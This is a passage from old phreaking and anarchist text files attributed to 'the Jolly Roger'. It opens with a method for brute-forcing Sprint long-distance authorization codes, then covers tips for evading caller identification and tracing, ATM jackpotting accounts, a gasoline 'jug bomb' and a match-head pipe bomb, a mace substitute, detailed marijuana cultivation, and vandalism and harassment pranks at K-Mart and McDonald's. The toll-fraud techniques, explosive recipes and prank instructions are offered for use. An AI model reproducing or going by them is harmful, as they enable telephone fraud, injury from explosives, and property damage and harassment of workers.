Sprint), and you are fustrated at hacking several hours only to find one
or two codes, then follow these tips, and it will increase your results
tremendously. First, one thing that Mr. Mojo proved is that Sprint will
not store more than one code in every hundred numbers. (ex: 98765400 to
98765499 may contain only one code). There may NOT be a code in that
hundred, but there will never be more than one.
Sprint's 9 digit codes are stored from 500000000 through 999999999.
In the beginning of Sprint's 950 port, they only had 8 digit codes. Then
they started converting to 9 digit codes, storing all 8 digit codes
between 10000000 and 49999999 and all 9 digit codes between 500000000 and
999999999. Sprint has since cancelled most 8 digit codes, although there
are a few left that have been denoted as test codes. Occaisionally, I
hear of phreaks saying they have 8 digit codes, but when verifying them,
the codes were invalid.
Now, where do you start? You have already narrowed the low and high
numbers in half, therefore already increasing your chances of good results
by 50 percent. The next step is to find a good prefix to hack. By the
way, a prefix, in hacking terms, is the first digits in a code that can be
any length except the same number of digits the code is. (ex: 123456789
is a code. That means 1, 12, 123, 1234, 12345, 123456, 1234567, and
12345678 are prefixes) The way you find a good prefix to hack is to
manually enter a code prefix. If when you enter the code prefix and a
valid destination number and you do not hear the ringing of the recording
telling you that the code is invalid until near the end of the number,
then you know the prefix is valid. Here is a chart to follow when doing
this:
Code - Destination Range good codes exist
-------------------------------------------------
123456789 - 6192R 123400000 - 123499999
123456789 - 619267R 123450000 - 123459999
123456789 - 61926702R 123456000 - 123456999
123456789 - 6192670293R 123456700 - 123456799
-------------------------------------------------
( R - Denotes when ring for recording starts)
To prove
this true, I ran a test using OmniHack 1.3p, written by
Jolly Joe. In this test I found a prefix where the last 3 digits were all
I had to hack. I tested each hundred of the 6 digit prefix finding that
all but 4 had the ring start after the fourth digit was dialed in the
destination number. The other four did not ring until I had finished the
entire code. I set OmniHack to hack the prefix + 00 until prefix + 99.
(ex: xxxxxxy00 to xxxxxxy99: where y is one of the four numbers that the
ring did not start until the dialing was completed.) Using this method, I
found four codes in a total of 241 attempts using ascending hacking (AKA:
Sequential). Below you will see a record of my hack:
Range of hack Codes found Tries
----------------------------------------------
xxxxxx300 - xxxxxx399 xxxxxx350 50
xxxxxx500 - xxxxxx599 xxxxxx568 68
xxxxxx600 - xxxxxx699 xxxxxx646 46
xxxxxx800 - xxxxxx899 xxxxxx877 77
----------------------------------------------
Totals 4 codes 241
As you see, these methods work. Follow these guidlines and tips and
you should have an increase in production of codes in the future hacking
Sprint. Also, if you have any hints/tips you think others could benefit
from, then type them up and upload them to one of the boards at the end of
the newsletter.
==========================================================================
Rumors: Why Spread Them?
--------------------------------------------------------------------------
By: Tracker
Do you ever get tired of hearing rumors? You know, someone gets an
urge to impress others, so they create a rumor that some long distance
company is now using tracing equipment. Why start rumors? It only scares
others out of phreaking, and then makes you, the person who started the
rumor, look like Mr. Big. This article is short, but it should make you
aware of the rumors that people spread for personal gain. The best thing
to do is to denote them as a rumor starter and then leave it at that. You
should not rag on them constantly, since if the other users cannot
determine if it is fact or rumor, then they should suffer the
consequences.
==========================================================================
The New Sprint FON Calling Cards
--------------------------------------------------------------------------
By: Tracker
US Sprint has opened up a new long distance network called the Fiber
Optic Network (FON), in which subscribers are given calling cards. These
calling cards are 14 digits, and though, seem randomly generated, they are
actually encrypted. The rumors floating around about people getting
caught using the Sprint FON calling cards are fact, not rumors. The
reason people are getting caught is that they confuse the FON calling
cards with the local 950 port authorization codes. If you will remember,
you never use AT&T calling cards from you home phone. It has ANI
capability, which is not tracing, but rather the originating phone number
is placed on the bill as soon as the call is completed. They know your
phone number when you call the 800 access port, but they do not record it
until your call is completed. Also, through several of my hacks, I came
up with some interesting information surrounding the new Sprint network.
They are listed below.
800-877-0000
This number is for information on US Sprint's 800 calling card
service. I have not played around with it, but I believe it is for
trouble or help with the FON calling cards. I am not sure if it is for
subscribing to the FON network.
800-877-0002 - You hear a short tone, then nothing.
800-877-0003 - US Sprint Alpha Test Channel #1
800-877-(0004-0999)
When you call these numbers, you get a recording saying: "Welcome to
US Sprint's 1 plus service." When the recording stops, if you hit the
pound key (#) you will get the calling card dial tone.
Other related Sprint numbers
800-521-4949 This is the number that you subscribe to US Sprint with.
You may also subscribe to the FON network on this number. It will take 4
to 5 weeks for your calling card to arrive.
10777
This is US Sprint's equal access number. When you dial this number,
you then dial the number you are calling, and it will be billed through US
Sprint, and you will receive their long distance line for that call. Note
that you will be billed for calls made through equal access. Do not
mistake it to be a method of phreaking, unless used from a remote
location.
If you are in US Sprint's 1+ service then call 1+700-555-1414, which
will tell you which long distance company you are using. When you hear:
"Thank you for choosing US Sprint's 1 plus service," hit the pound key
(#), and then you will get the US Sprint dial tone. This however is just
the same as if you are calling from your home phone if you dial direct, so
you would be billed for calls made through that, but there are ways to use
this to your advantage as in using equal access through a PBX.
==========================================================================
Automatic Number Identification (ANI)
--------------------------------------------------------------------------
By: Tracker
The true definition for Automatic Number Identification has not been
widely known to many. Automatic Number Identification, (AKA: ANI), is the
process of the destination number knowing the originating number, which is
where you are calling from. The method of achieving this is to send the
phone number that you are calling from in coded form ahead of the
destination number. Below is an example of this.
ANI Method
Dial: 267-0293
Sent: ********2670293
* - Denotes the originating number which is coded and sent before the
number
As you noticed there are 8 digits in the coded number. This is
because, at least I believe, it is stored in a binary-like form.
Automatic Number Identification means a limited future in phreaking. ANI
does not threaten phreaking very much yet, but it will in the near future.
A new switching system will soon be installed in most cities that are
covered by ESS, Electronic Switching System, now.
The system will have ANI capabilities which will be supplied to the
owners of phone lines as an›added extra. The owner's phone will have
an LED read-out that will show the phone number of the people that
call you. You will be able to block some numbers, so that people
cannot call you. This system is in the testing stages currently, but will
soon be installed across most of the country. As you see, this will
end a large part of phreaking, until we, the phreakers, can come up with
an alternative. As I have been told by several, usually reliable,
people, this system is called ISS, which I am not sure of the meaning of
this, and is being tested currently in Rhode Island.
800 in-watts lines set up by AT&T support ANI. The equipment to
decode an ANI coded origination number does not costs as much as you would
expect. 950 ports do not offer ANI capability, no matter what you have
been told. The 950 ports will only give the city in which they are based,
this usually being the largest in the state, sometimes the capitol.
One last thing that I should tell you is that ANI is not related to
tracing. Tracing can be done on any number whether local, 950, etc. One
way around this, especially when dialing Alliance TeleConferencing, is to
dial through several extenders or ports. ANI will only cover the number
that is calling it, and if you call through a number that does not support
ANI, then your number will never be known.
==========================================================================
The Disclaimer!
--------------------------------------------------------------------------
We, the editors, take no responsibility for your actions and use of
the information in this newsletter. This newsletter is for informational
purposes only. There will never be any long distance codes, passwords,
etc. in this newsletter. If you are easily offended by telecommunication
discussions, then we suggest that you not read this newsletter. But for
those who are truely interested in the information in this newsletter,
enjoy it.
Brought to you in Cookbook III, courtesy of the Jolly Roger!!!!!!!!!!
-Exodus- Revised.
_
Jackpotting ATM Machines courtesy of the Jolly Roger
JACKPOTTING was done rather successfully a while back in (you guessed it)
New York. What the culprits did was:
Sever (actually cross over) the line between the ATM and the
host. insert a microcomputer between the ATM and the host. insert
a fradulent card into the ATM. (card=cash card, not hardware)
What the ATM did was: send a signal to the host, saying "Hey! Can I
give this guy money, or is he broke, or is his card invalid?"
What the microcomputer did was: intercept the signal from the host,
discard it, send "there's no one using the ATM" signal.
What the host did was: get the "no one using" signal, send back "okay,
then for God's sake don't spit out any money!" signal to ATM.
What the microcomputer did was:
intercept signal (again), throw it away (again), send "Wow! That
guy is like TOO rich! Give him as much money as he wants. In
fact, he's so loaded, give him ALL the cash we have! He is
really a valued customer." signal.
What the ATM did:
what else? Obediently dispense cash till the cows came home (or
very nearly so).
What the crooks got:
well in excess of $120,000 (for one weekend's work), and several
years when they were caught.
This story was used at a CRYPTOGRAPHY conference I attended a while
ago to demonstrate the need for better information security. The
lines between ATM's & their hosts are usually 'weak' in the sense that
the information transmitted on them is generally not encrypted in any
way. One of the ways that JACKPOTTING can be defeated is to encrypt
the information passing between the ATM and the host. As long as the
key cannot be determined from the ciphertext, the transmission (and
hence the transaction) is secure.
A more believable, technically accurate story might concern a person
who uses a computer between the ATM and the host to determine the key
before actually fooling the host. As everyone knows, people find
cryptanalysis a very exciting and engrossing subject...don't they?
(Hee-Hee)
_____ ______
| |-<<-| |-<<-| |
|ATM| micro |Host|
|___|->>-| |->>-|____|
The B of A ATM's are connected through dedicated lines to a host
computer as the Bishop said. However, for maintenance purposes, there
is at least one separate dial-up line also going to that same host
computer. This guy basically bs'ed his way over the phone till he
found someone stupid enough to give him th number. After finding that,
he had has Apple hack at the code. Simple.
Step 2: He had a friend go to an ATM with any B of A ATM card. He
stayed at home with the Apple connected to the host. When his friend
inserted the card, the host displayed it. The guy with the Apple
modified the status & number of the card directly in the host's
memory. He turned the card into a security card, used for testing
purposes. At that point, the ATM did whatever it's operator told it to
do.
The next day, he went into the bank with the $2000 he received,
talked to the manager and told him every detail of what he'd done. The
manager gave him his business card and told him that he had a job
waiting for him when he got out of school.
Now, B of A has been warned, they might have changed the system. On
the other hand, it'd be awful expensive to do that over the whole
country when only a handful of people have the resources and even less
have the intelligence to duplicate the feat. Who knows?
Jug Bomb by the Jolly Roger
Take a glass jug, and put 3 to 4 drops of gasoline into it. Then put
the cap on, and swish the gas around so the inner surface of the jug
is coated. Then add a few drops of potassium permanganate solution
into it and cap it. To blow it up, either throw it at something, or
roll it at something.
------------Exodus------------
_
Fun at K-Mart by the Jolly Roger
Well, first off, one must realise the importance of K-Marts in
society today. First off, K-Marts provide things cheaper to those who
can't afford to shop at higher quality stores. Although, all I ever
see in there is minorities and Senior Citizens, and the poor people in
our city. Personally, I wouldn't be caught dead in there. But, once,
I did.
You see, once, after The Moon Roach and Havoc Chaos(Dear friends of
mine) and I were exploring such fun things as rooftops, we came along
a K-Mart. Amused, and cold for that matter, we wandered in. The
Tension mounts.
As we walked up to the entrance, we were nearly attacked by Youth
Groups selling cheap cookies, and wheelchair sticken people selling
American Flags. After laughing at these people, we entered. This is
where the real fun begins...
First, we wandered around the store, and turned on all the blue
lights we could find. That really distracts and confuses the
attendents...Fun to do...
The first neat thing, is to go to the section of the store where
they sell computers. Darkness engulf the earth the day they find Apple
Computers being sold there. Instead, lesser computers like the
laughable C-64 can be found there...Turn it on, and make sure
nobody's looking...Then, once in Basic, type...
]10 PRINT "Fuck the world! Anarchy Rules!" (or something to that
effect.)
]20 GOTO 10 and walk away.
Also, set the sample radios in the store to a santanic rock station,
and turn the radio off. Then, set the alarm for two minutes ahead of
the time displayed there. Turn the volume up all the way, and walk
away. After about two minutes, you will see the clerk feebly attempt
to turn the radio down or off. It's really neat to set ten or more
radios to different stations, and walk away.
One of my favorite things to do, is to get onto the intercom system
of the store. Easier typed then done. First, check out the garden
department. You say there's no attendent there? Good. Sneak
carefully over to the phone behind the cheap counter there, and pick
it up. Dial the number corrisponding to the item that says 'PAGE'...
And talk. You will note that your voice will echo all over the bowels
of K-Mart.
I would suggest announcing something on the lines of: "Anarchy
rules!!"
------------Exodus-------------
_
Mace Substitute by the Jolly Roger
3 PARTS: Alcohol
1/2 PARTS: Iodine
1/2 PARTS: Salt
Or:
3 PARTS: Alcohol
1 PARTS: Iodized Salt (Mortons)
It's not actual mace, but it does a damn good job on the eyes...
--------------Exodus
_
How to grow Marijuana courtesy of the Jolly Roger
MARIJUANA
Marijuana is a deciduous plant which grows from seeds. The fibrous section
of the plant was (has been replaced by synthetics) used to make rope.
The flowering tops, leaves, seeds, and resin of the plant is
used by just about everyone to get HIGH.
Normally, the vegetable parts of the plant are smoked to produce this
"high," but thay can also be eaten. The axtive ingredient in marijuana
resin is THC (tetahydrocannabinol). Marijuana contains from 1 - 4 per
cent THC (4 per cent must be considered GOOD dope).
Marijuana grows wild in many parts of the world, and is cultivated in
Mexice, Vietnam, Africa, Nepal, India, South America, etc.,etc. The
marijuana sold in the United States comes primarily from, yes, the
Uniited States.
It is estimated that at least 50 per cent of the grass on the streets
in America is homegrown. The next largest bunch comes actoss the
borders from Mexico, with smaller amounts filtering in from Panama,
occasionally South America, and occasinally, Africa.
Hashish is the pure resin of the marijuana plant, which is scraped from
the flowering tops of the plant and lumped together. Ganja is the
ground-up tops of the finest plants. (It is also the name given to any
sort of marijuana in Jamaica.)
Marijuana will deteriorate in about two years if exposed to light,
air or heat. It should always be stored in cool places.
Grass prices in the United States are a direct reflection of the laws
of supply and demand (and you thought that high school economics
would never be useful). A series of large border busts, a short growing
season, a bad crop, any number of things can drive the price of marijuana
up. Demand still seems to be on the increase in the U.S., so prices seldom
fall below last year's level.
Each year a small seasonal drought occurs, as last year's supply runs
low, and next year's crop is not up yet. Prices usually rase about
20 - 75 per cent during this time and then fall back to "normal."
Unquestionably, a large shortage of grass causes a percentage of smokers
to turn to harder drugs instead. For this reason, no grass control
program can ever be beneficial or "successful."
GROW IT!
There is one surefire way of avoiding high prices and the grass DT's:
Grow your own. This is not as difficult as some "authorities" on the
subject would make you believe. Marijuana is a weed, and a fairly
vivacious one at that, and it will grow almost in spite of you.
OUTDOORS
Contrary to propular belief, grass grows well in many place on the
North American continent. It will flourish even if the temperature does
not raise above 75 degrees.
The plants do need a minimum of eight hours of sunlight per day and
should be planted in late April/early May, BUT DEFINITELY, after the
last frost of the year.
Growing an outdoor, or "au naturel", crop has been the favored method
over the years, because grass seems to grow better without as much
attention when in its natural habitat.
Of course, an outdoors setting requires special precautions not encountered
with an indoors crop; you must be able to avoid detection, both from
law enforcement freaks and common freaks, both of whom will take your
weed and probably use it. Of course, one will also arrest you. You must
also have access to the area to prepare the soil and harvest the crop.
There are two schools of thought about starting the seeds. One says you
should start the seedlings for about ten days in an indoor starter box
(see the indoor section) and then transplant. The other theory is that
you should just start them in the correct location. Fewer plants will
come up with this method, but there is no shock of transplant to
kill some of the seedlings halfway through.
The soil should be preprepared for the little devils by turning it
over a couple of times and adding about one cup of hydrated lime per
square yard of soil and a little bit (not too much, now) of good water
soluble nitrogen fertilizer. The soil should now be watered several
times and left to sit about one week.
The plants should be planted at least three feet apart, getting too
greedy and stacking them too close will result in stunted plants.
The plants like some water during their growing season, BUT not too
much. This is especially true around the roots, as too much water will
rot the root system.
Grass grows well in corn or hops, and these plants will help provide
some camouflage. It does not grow well with rye, spinach, or pepperweed.
It is probally a good idea to plant in many small, broken patches, as
people tend to notice patterns.
GENERAL GROWING INFO
Both the male and he female plant produce THC resin, although the male
is not as strong as the female. In a good crop, the male will still be
plenty smokable and should not be thrown away under any circumstances.
Marijuana can reach a hight of twenty feet (or would you rather wish on
a star) and obtain a diameter of 4 1/2 inches. If normal, it has a sex
ratio of about 1:1, but this can be altered in several ways.
The male plant dies in the 12th week of growing, the female will live
another 3 - 5 weeks to produce her younguns. Females can weigh twice as
much as males when they are mature.
Marijuana soil should compact when you squeeze it, but should also break
apart with a small pressure and absorb water well. A nice test
for either indoor or outdoor growing is to add a bunch of worms to the
soil, if they live and hang aroung, it is good soil, but if they don't,
well, change it. Worms also help keep the soil loose enough for the
plants to grow well.
SEEDS
To get good grass, you should start with the right seeds. A nice starting
point is to save the seeds form the best batch you have consumed. The
seeds should be virile, that is, they should not be grey and shiriveled
up, but green, meaty, and healthy appearing. A nice test is to drop the
seeds on a hot frying pan. If they "CRACK," they are probably good for
planting purposes.
The seeds should be soaked in distilled water overnight before planting.
BE SURE to plant in the ground with the pointy end UP. Plant about 1/2"
deep. Healthy seeds will sprout in about five days.
SPROUTING
The best all around sprouting method is probably to make a sprouting box
(as sold in nurseries) with a slated bottom or use paper cups with holes
punched in the bottoms. The sprouting soil should be a mixture of humus,
soil, and five sand with a bit of organic fertilizer and water mixed
in about one week before planting.
When ready to transplant, you must be sure and leave a ball of soil
around the roots of each plant. This whole ball is dropped into a
baseball-sized hold in the permanent soil.
If you are growing/transplanting indoors, you should use a green
safe light (purchased at nurseries) during the transplanting operation.
If you are transplanting outdoors, you should time it about two
hours befor sunset to avoid damage to the plant. Always wear cotton
gloves when handling the young plants.
After the plants are set in the hole, you should water them. It is also
a good idea to use a commercial transplant chemical (also purchased at
nurseries) to help then overcome the shock.
INDOOR GROWING
Indoor growing has many advantages, besides the apparent fact that it
is much harder to have your crop "found," you can control the ambient
conditions just exactly as you want them and get a guaranteed "good"
plant.
Plants grown indoors will not appear the same as their outdoor cousins.
They will be scrawnier appearing with a weak stems and may even require
you to tie them to a growing post to remain upright, BUT THEY WILL HAVE
AS MUCH OR MORE RESIN!
If growing in a room, you should put tar paper on the floors and then
buy sterilized bags of soil form a nursery. You will need about one
cubic foot of soil for eavh plant.
The plants will need about 150 ml. of water per plant/per week. They
will also need fresh air, so the room must be ventilated. (however,
the fresh air should contain NO TOBACCO smoke.)
At least eight hours of light a day must be provided. As you increase
the light, the plants grow faster and show more females/less males.
Sixteen hours of light per day seems to be the best combination, beyond
this makes little or no appreciable difference in the plant quality.
Another idea is to interrupt the night cycle with about one hour of
light. This gives you more females.
The walls of your growing room should be painted white or covered with
aluminum foil to reflect the light.
The lights themselves can be either bulbs of fluorescent. Figure about
75 watts per plant or one plant per two feet of flouresent tube.
The fluorescents are the best, but do not use "cool white" types. The
light sources should be an average of twenty inches from the
plant and NEVER closer than 14 inches. They may be mounted on a rack
and moved every few days as the plants grow.
The very best light sources are those made by Sylvania and others
especially for growing plants (such as the "gro lux" types).
HARVESTING AND DRYING
The male plants will be taller and have about five green or yellow sepals,
which will split open to fertilize the female plant with pollen.
The female plant is shorter and has a small pistillate flower, which
really doesn't look like a flower at all but rather a small bunch of
leaves in a cluster.
If you don't want any seeds, just good dope, you should pick the males
before they shed their pollen as the female will use some of her resin
to make the seeds.
After another three to five weeks, after the males are gone, the females
will begin to wither and die (from loneliness?), this is the time to pick.
In some nefarious Middle Eastren countries, farmers reportedly put their
beehives next to fiels of marijuana. The little devils collect the grass
pollen for their honey, which is supposed to contain a fair dosage
of THC.
The honey is then enjoyed by conventional methods or made into ambrosia.
If you want seeds - let the males shed his pollen then pick him. Let
the female go another month and pick her.
To cure the plants, they must be dried. On large crops, this is
accomplished by constructing a drying box or drying room.
You must have a heat source (such as an electric heater) which will make
the box/room each 130 degrees. The box/room must be ventilated
to carry off the water-vapor-laden air and replace it with fresh.
A good box can be constructed from an orange crate with fiberglass
insulated walls, vents in the tops, and screen shelves to hold the leaves.
There must be a baffle between the leaves and the heat source.
A quick cure for smaller amounts is to: cut the plant at the soil level
and wrap it in a cloth so as not to loose any leavs. Take out any seeds
by hand and store. Place all the leaves on a cookie sheet or aluminum
foil and put them in the middle sheld of the oven, which is set on "broil."
In a few seconds, the leaves will smoke and curl up, stir them around and
give another ten seconds before you take them out.
TO INCREASE THE GOOD STUFF
There are several tricks to increase the number of females, or the THC
content of plants:
You can make the plants mature in 36 days if you are in a hurry, by cutting
back on the light to about 14 hours, but the plants will not be as big.
You should gradually shorten the light cycle until you reach fourteen
hours.
You can stop any watering as the plants begin to bake the resin rise to
the flowers. This will increse the resin a bit.
You can use a sunlamp on the plants as they begin to develop flower stalks.
You can snip off the flower, right at the spot where it joins the plant,
and a new flower will form in a couple of weeks.
This can be repeated two or three times to get several times more flowers
than usual.
If the plants are sprayed with Ethrel early in their growing stage, they
will produce almost all female plants. This usually speeds up the flowering
also, it may happen in as little as two weeks.
You can employ a growth changer called colchicine. This is a bit hard to
get and expensive. (Should be ordered through a lab of some sort and
costs about $35 a gram.)
To use the colchicine, you should prepare your presoaking solution of
distilled water with about 0.10 per cent colchicine. This will cause
many of the seeds to die and not germinate, but the ones that do come
up will be polyploid plants. This is the accepted difference between
such strains as "gold" and normal grass, and yours will DEFINITELY
be superweed.
The problem here is that colchicine is a posion in larger quanities and
may be poisonous in the first generation of plants. Bill Frake, author
of CONNOISSEUR'S HANDBOOK OF MARIJUANA runs a very complete colchicine
treatment down and warns against smoking the first generation plants
(all succeeding generations will also be polyploid) bacause of this
poisonous quality.
However, the Medical Index shows colchicine being given in very small
quantities to people for treatment if various ailments. Although these
quantities are small, they would appear to be larger than any you could
recive form smoaking a seed-treated plant.
It would be a good idea to buy a copy of CONNOISSEUR'S, if you are planning
to attempt this, and read Mr. Drake's complete instructions.
Another still-experimental process to increase the resin it to pinch off
the leaf tips as soon as they appear from the time the plant is in the
seedling stage on through its entire life-span. This produces a distorted,
wrecked-looking plant which would be very difficuly to recognize as
marijuana. Of course, there is less substance to this plant, but such
wrecked creatures have been known to produve so much resin that it
crystallizes a strong hash all over the surface of the plant - might
be wise to try it on a plant or two and see what happens.
PLANT PROBLEM CHART
Always check the overall enviromental conditions prior to passing
judgment - soil aroung 7 pH or slightly less - plenty of water, light,
fresh air, loose soil, no water standing in pools.
SYMPTOM PROBABLY PROBLEM/CURE
Larger leaves turning yellow - Nitrogen dificiency - add
smaller leaves still green. nitrate of soda or
organic fertilizer.
Older leaves will curl at edges, Phosphorsus dificiency -
turn dark, possibaly with a purple add commercial phosphate.
cast.
Mature leaves develop a yellowish Magnesium dificiency -
cast to least veinal areas. add commercial fertilizer
with a magnesium content.
Mature leaves turn yellow and then Potassium dificiency -
become spotted with edge areas add muriate of potash.
turning dark grey.
Cracked stems, no healthy support Boron dificiency - add
tissue. any plant food containing
boron.
Small wrinkled leaves with Zinc dificiency - add
yelloish vein systems. commercial plant food
containing zinc.
Young leaves become deformed, Molybedum dificiency -
possibaly yellowing. use any plant food with a
bit of molydbenum in it.
EXTRA SECTION:
BAD WEED/GOOD WEED
Can you turn bad weed into good weed? Surprisingly enough, the answer
to this oft-asked inquiry is, yes!
Like most other things in life, the amount of good you are going
to do relates directly to how much effort you are going to put into it.
There are no instant, supermarket products which you can spray on Kansas
catnip and have wonderweed, but there are a number of simplified,
inexpensive processes (Gee, Mr. Wizard!) thich will enhance mediocre
grass somewhat, ant there are a couple of fairly involved processes
which will do up even almost-parsley weed into something worth writing
home about.
EASES
1. Place the dope in a container which allows air to enter in a restricted
fashion (such as a can with nail holes punched in its lid) and add a
bunch of dry ice, and the place the whold shebang in the freezer for a
few days. This process will add a certain amount of potency to the product,
however, this only works with dry ice, if you use normal, everyday
freezer ice, you will end up with a soggy mess...
2. Take a quantity of grass and dampen it, place in a baggie or another
socially acceptable container, and store it in a dark, dampish place
for a couple of weeks (burying it also seems to work). The grass will
develop a mold which tastes a bit harsh, a and burns a tiny bit funny,
but does increase the potency.
3. Expose the grass to the high intensity light of a sunlamp for a full
day or so. Personally, I don't feel that this is worth the effort, but
if you just spent $400 of your friend's money for this brick of
super-Colombian, right-from-the-President's-personal-stash,
and it turns out to be Missouri weed, and you're packing your bags to
leave town before the people arrive for their shares, well, you might
at least try it. Can't hurt.
4. Take the undisirable portions of our stash (stems, seeds, weak weed,
worms, etc.) and place them in a covered pot, with enough rubbing
alchol to cover everything.
Now CAREFULLY boil the mixture on an ELECTRIC stove or lab burner. DO
NOT USE GAS - the alchol is too flammable. After 45 minutes of heat,
remove the pot and strain the solids out, SAVING THE ALCOHOL.
Now, repeat the process with the same residuals, but fresh alchol.
When the second boil is over, remove the solids again, combine the two
quantities of alcohol and reboil until you have a syrupy mixture.
Now, this syrupy mixture will contain much of the THC formerly hidden
in the stems and such. One simply takes this syrup the throughly
combines it with the grass that one wishes to improve upon.
SPECIAL SECTION ON RELATED SUBJECT MARYGIN:
Marygin is an anagram of the words marijuana and gin, as in Eli Whitney.
It is a plastic tumbler which acts much like a commercial cottin gin.
One takes about one ounce of an harb and breaks it up. This is then placed
in the Marygin and the protuding knod is roatated. This action turns
the internal wheel, which separates the grass from the debris (seeds,
stems).
It does not pulberize the grass as screens have a habit of doing and is
easily washable.
Marygin is available from:
P.O. Box 5827
Tuscon, Arizona 85703
$5.00
GRASS
Edmund Scientific Company
555 Edscorp Building
Barrington, New Jersy 08007
Free Catalog is a wonder of good things for the potential grass
grower. They have an electric thermostat greenhouse for starting
plants for a mere $14.95.
Soil test kits for PH - $2.40
Al test - $9.95
Soil thermometer - $2.75
Lights which approzimate the true color balance of the sun and are
probably the most beneficial types available: 40 watt, 48 inch - 4 for
$15.75.
Indoor sun bulb, 75 or 150 watt - $5.75.
And, they have a natural growth regualtor for plants (Gibberellin) which
can change height, speed growth, and maturity, promote blossoming,
etc. Each plant reacts differently to treatment with Gibberellin...there's
no fun like experimenting - $2.00
SUGGESTED READING
THE CONNOISSEUR'S HANDBOOK OF MARIJUANA, Bill Drake
Straight Arrow Publishing - $3.50
625 Third Street
San Francisco, California
FLASH
P.O.Box 16098
San Fransicso, California 94116
Stocks a series of pamphlets on grass, dope manufacture, cooking.
Includes the Mary Jane Superweed series.
Match Head Bomb by the Jolly Roger
Simple safety match heads in a pipe, capped at both ends, make a
devestating bomb. It is set off with a regular fuse.
A plastic Baggie is put into the pipe before the heads go in to
prevent detonation by contact with the metal.
Cutting enough match heads to fill the pipe can be tedious work for
one but an evening's fun for the family if you can drag them away from
the TV.
------------Exodus----------
_
How To Terrorize McDonalds by the Jolly Roger
(Originally an Apple ][ file so excuse the upper case!!!)
NOW, ALTHOUGH Mc DONALDS IS FAMOUS FOR IT'S ADVERTISING AND MAKING THE
WHOLE WORLD THINK THAT THE BIG MAC IS THE BEST THING TO COME ALONG SINCE
SLICED BREAD (BUNS?), EACH LITTLE RESTAURANT IS AS AMATEUR AND SIMPLE AS
A NEW-FOUND BUSNESS. NOT ONLY ARE ALL THE EMPLOYEES RATHER INEXPERIENCED
AT WHAT THEY'RE =SUPPOSED= TO DO, BUT THEY WILL JUST LOOSE ALL CONTROL WHEN
AN EMERGENCY OCCURS....HERE WE GO!!! FIRST, GET A FEW FRIENDS (4 IS
GOOD...I'LL GET TO THIS LATER) AND ENTER THE MCDONALDS RESTAURANT, TALKING
LOUDLY AND REAKING OF SOME STRANGE SMELL THAT AUTOMATICALLY MAKES THE OLD
COUPLE SITTING BY THE DOOR LEAVE. IF ONE OF THOSE PIMPLY-FACED GOONS IS
WIPING THE FLOOR, THEN TRACK SOME CRAP ALL OVER IT (YOU COULD PRETEND TO
SLIP AND BREAK YOUR HEAD, BUT YOU MIGHT ACTUALLY DO SO).
NEXT, BEFORE YOU GET THE FOOD, FIND A TABLE. START YELLING AND RELEASING
SOME STRANGE BODY ODOR SO =ANYBODY= WOULD LEAVE THEIR TABLE AND WALK OUT
THE DOOR. SIT 2 FRIENDS THERE, AND GO UP TO THE COUNTER WITH ANOTHER.
FIND A PLACE WHERE THE LINE IS SHORT, OR IF THE LINE IS LONG SAY "I ONLY
WANNA BUY A COKE" AND YOU GET MOVED UP. NOW, YOU GET TO DO THE =ORDERING=
...HEH HEH HEH. SOMEBODY =ALWAYS= MUST WANT A PLAIN
HAMBURGER WITH ABSOLUTELY NOTHING ON IT (THIS TAKES EXTRA TIME TO MAKE, AND
DRIVES THE LITTLE HAMBURGER-MAKERS INSANE)..ORDER A 9-PACK OF CHICKEN
MCNUGGETS...NO, A 20 PACK...NO, THREE 6 PACKS...WAIT...GO BACK TO THE TABLE
AND ASK WHO WANTS WHAT. YOUR OTHER FRIEND WAITS BY THE COUNTER AND MAKES A
PASS AT THE FEMALE CLERK. GET BACK TO THE THING AND ORDER THREE 6-PACKS OF
CHICKEN ETC....NOW SHE SAYS "WHAT KIND OF SAUCE WOULD YOU LIKE?".OF COURSE,
SAY THAT YOU ALL WANT BARBECUE SAUCE ONE OF YOUR FRIENDS WANTS 2 (ONLY IF
THERE ARE ONLY 2 CONTAINERS OF BARBECUE SAUCE LEFT).THEN THEY HAFTA GO INTO
THE STOREROOM AND OPEN UP ANOTHER BOX. FINALLY, THE DRINKS...SOMEBODY WANTS
COKE, SOMEBODY ROOT BEER, AND SOMEBODY DIET COKE. AFTER THESE ARE DELIVERED,
BRING THEM BACK AND SAY "I DIDN'T ORDER A DIET COKE! I ORDERED A SPRITE!"
THIS GETS THEM MAD; BETTER YET, TURN DOWN SOMETHING TERRIBLE THAT NOBODY
WANTS TO DRINK, SO THEY HAFTA THROW THE DRINK AWAY; THEY CAN'T SELL IT.
AFTER ALL THE FOOD(?) IS HANDED TO YOU, YOU MUST =NEVER= HAVE ENOUGH MONEY
TO PAY. THE CLERK WILL BE SO ANGRY AND CONFUSED THAT SHE'LL LET YA GET
AWAY WITH IT (ANOTHER INFLUENCE ON HER IS YOUR FRIEND ASKING HER "IF YOU
LET US GO I'LL GO OUT WITH YOU" AND GIVING HER A FAKE FONE NUMBER).
NOW, BACK TO YOUR TABLE. BUT FIRST, SOMEBODY LIKES KETCHUP AND MUSTARD.
AND PLENTY (TOO MUCH) OF NAPKINS. OH, AND SOMEBODY LIKES FORKS AND KNIVES,
SO ALWAYS END UP BREAKING THE ONES YOU PICK OUTTA THE BOX. HAVE YOUR
FRIENDS YELL OUT,"YAY!!!!! WE HAVE MUNCHIES!!" AS LOUD AS THEY CAN.
THAT'LL WORRY THE ENTIRE RESTAURANT. PROCEED TO SIT DOWN. SO, YOU ARE
SITTING IN THE SMOKING SECTION (BY ACCIDENT) EH? WELL, WHILE ONE OF THE
TOBACCO-BREATHERS ISN'T LOOKING, PUT A SIGN FROM THE OTHER SIDE OF THE
ROOM SAYING "DO NOT SMOKE HERE" AND HE'LL HAFTA MOVE...THEN HE GOES INTO
THE REAL NON-SMOKING SECTION, AND GETS YELLED AT. HE THEN THINKS THAT
NO SMOKING IS ALLOWED IN THE RESTAURANT, SO HE EATS OUTSIDE (IN THE POURING
RAIN) AFTER YOUR MEAL IS FINISHED (AND QUITE A FEW SPLATTERED-OPENED
KETCHUP PACKETS ARE ALL OVER YER TABLE), TRY TO LEAVE. BUT OOPS! SOMEBODY
HAS TO DO HIS DUTY IN THE MEN'S ROOM. AS HE GOES THERE, HE STICKS AN
UNEATED HAMBURGGR (WOULD YOU DARE TO EAT ONE OF THEIR HAMBURGERS?)
INSIDE THE TOILET, FLUSHES IT A WHILE,UNTIL IT RUNS ALL OVER THE BATHROOM.
OOPS! SEND A PIMPLY-FACED TEENAGER TO CLEAN IT UP. (HE WON'T KNOW THAT
BROWN THING IS A HAMBURGER, AND HE'LL GET SICK. WHEEE!)
